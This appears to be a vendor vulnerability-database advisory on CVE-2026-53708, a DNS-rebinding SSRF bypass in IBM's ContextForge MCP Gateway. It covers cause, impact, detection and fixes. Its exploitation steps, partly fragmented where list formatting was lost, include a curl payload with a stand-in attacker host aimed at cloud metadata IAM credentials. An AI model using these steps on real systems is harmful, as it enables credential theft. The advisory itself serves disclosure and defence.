
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-53708 is a DNS Time-of-Check Time-of-Use (TOCTOU) race condition in IBM's mcp-contextforge-gateway (ContextForge MCP Gateway) that enables Server-Side Request Forgery (SSRF) protection bypass via DNS rebinding. The vulnerability affects versions prior to 1.0.3 of the mcp-contextforge-gateway pip package. It was published by IBM maintainer brian-hussey on June 15, 2026, and added to the GitHub Advisory Database on August 14, 2026. The CVSS v3.1 base score is 6.6 (Medium) (GitHub Advisory).
The root cause is a TOCTOU race condition (CWE-367) combined with SSRF (CWE-918) and reliance on DNS resolution for security decisions (CWE-350). The validate_gateway_test_url() function in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() at validation time to check whether the resolved IP falls within blocked private ranges (e.g., 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). However, the original hostname string — not the validated IP — is forwarded to the httpx-based ResilientHttpClient, which performs an independent DNS resolution at connection time. With no TTL enforcement, DNS cache reuse, or IP-level socket binding between the two resolutions, an attacker controlling a DNS server can return a public IP during validation and flip the record to a private IP (e.g., 169.254.169.254) before the HTTP client connects. The source code itself acknowledges this gap in two locations, including a named TODO ticket (ICACF-15) (GitHub Advisory, IBM Advisory).
Successful exploitation allows an authenticated attacker to perform SSRF against internal network services and cloud instance metadata endpoints. In cloud environments where IMDSv1 is accessible, an attacker can retrieve IAM role credentials from 169.254.169.254/latest/meta-data/iam/security-credentials/, potentially leading to full cloud account compromise. Additional impacts include probing internal APIs not exposed to the internet and conducting port scanning of the internal network. Availability is not directly impacted, but confidentiality is rated High and integrity Low due to the potential for credential theft and limited data manipulation (GitHub Advisory).
Exploitation requires two non-default preconditions: MCPGATEWAY_ADMIN_API_ENABLED=true must be explicitly set by an operator, and the attacker must hold a credential with an explicit database-backed gateways.read role assignment (the allow_admin_bypass=False flag on the endpoint prevents platform-admin shortcut bypass). A proof-of-concept is publicly documented in the advisory, leveraging standard DNS rebinding infrastructure such as rbndr.us with a 1-second TTL to reliably achieve the TOCTOU window. No in-the-wild exploitation or CISA KEV listing has been reported as of the advisory publication date (GitHub Advisory, IBM Advisory).
MCPGATEWAY_ADMIN_API_ENABLED=true set and obtain or compromise a credential for a user with a database-backed role carrying gateways.read permission (e.g., platform_admin).JWT_SECRET_KEY, with the correct aud, iss, and sub claims.attacker.example.com) with a DNS server configured to return a public IP (e.g., 1.2.3.4) initially, with a TTL of 1 second. Tools like rbndr.us can automate this./admin/gateways/test with the attacker-controlled hostname: curl -X POST http://<target>/admin/gateways/test -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'attacker.example.com to resolve to 169.254.169.254 (or another internal target).httpx client re-resolves the hostname and connects to 169.254.169.254. The gateway returns the IMDS response body — including IAM credentials if IMDSv1 is enabled — to the attacker (GitHub Advisory, IBM Advisory).169.254.169.254 or other RFC-1918 addresses (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) originating from the httpx/ResilientHttpClient process; DNS queries for attacker-controlled domains with very short TTLs (≤1 second) followed immediately by connections to internal IPs./admin/gateways/test with external hostnames that subsequently result in responses containing cloud metadata content (e.g., iam/security-credentials); repeated requests to the same endpoint from the same credential in rapid succession (indicative of timing attempts)./admin/gateways/test containing AWS/GCP/Azure IMDS-formatted JSON (e.g., AccessKeyId, SecretAccessKey, Token fields) returned to the client.Upgrade mcp-contextforge-gateway to version 1.0.3 or later, which was released on June 10, 2026, and addresses this vulnerability (IBM Release). As an interim workaround, set MCPGATEWAY_ADMIN_API_ENABLED=false (the default) to disable the vulnerable endpoint entirely. Additionally, enforce IMDSv2 (token-required mode) on all cloud instances running the gateway to limit the impact of any SSRF reaching the metadata service. The suggested long-term fix is to pin the validated IP address into the HTTP client connection via a custom httpx transport or resolver, closing the TOCTOU gap tracked under TODO ICACF-15 (GitHub Advisory).
The vulnerability was reported by researcher hewei-gikaku and published by IBM maintainer brian-hussey. The advisory notes that the maintainers had already internally acknowledged the flaw via a named TODO ticket (ICACF-15) in two separate source code locations, indicating awareness prior to the public disclosure. Threat intelligence coverage appeared on platforms including Tenable Cloud Security and OffSeq Radar shortly after publication (GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."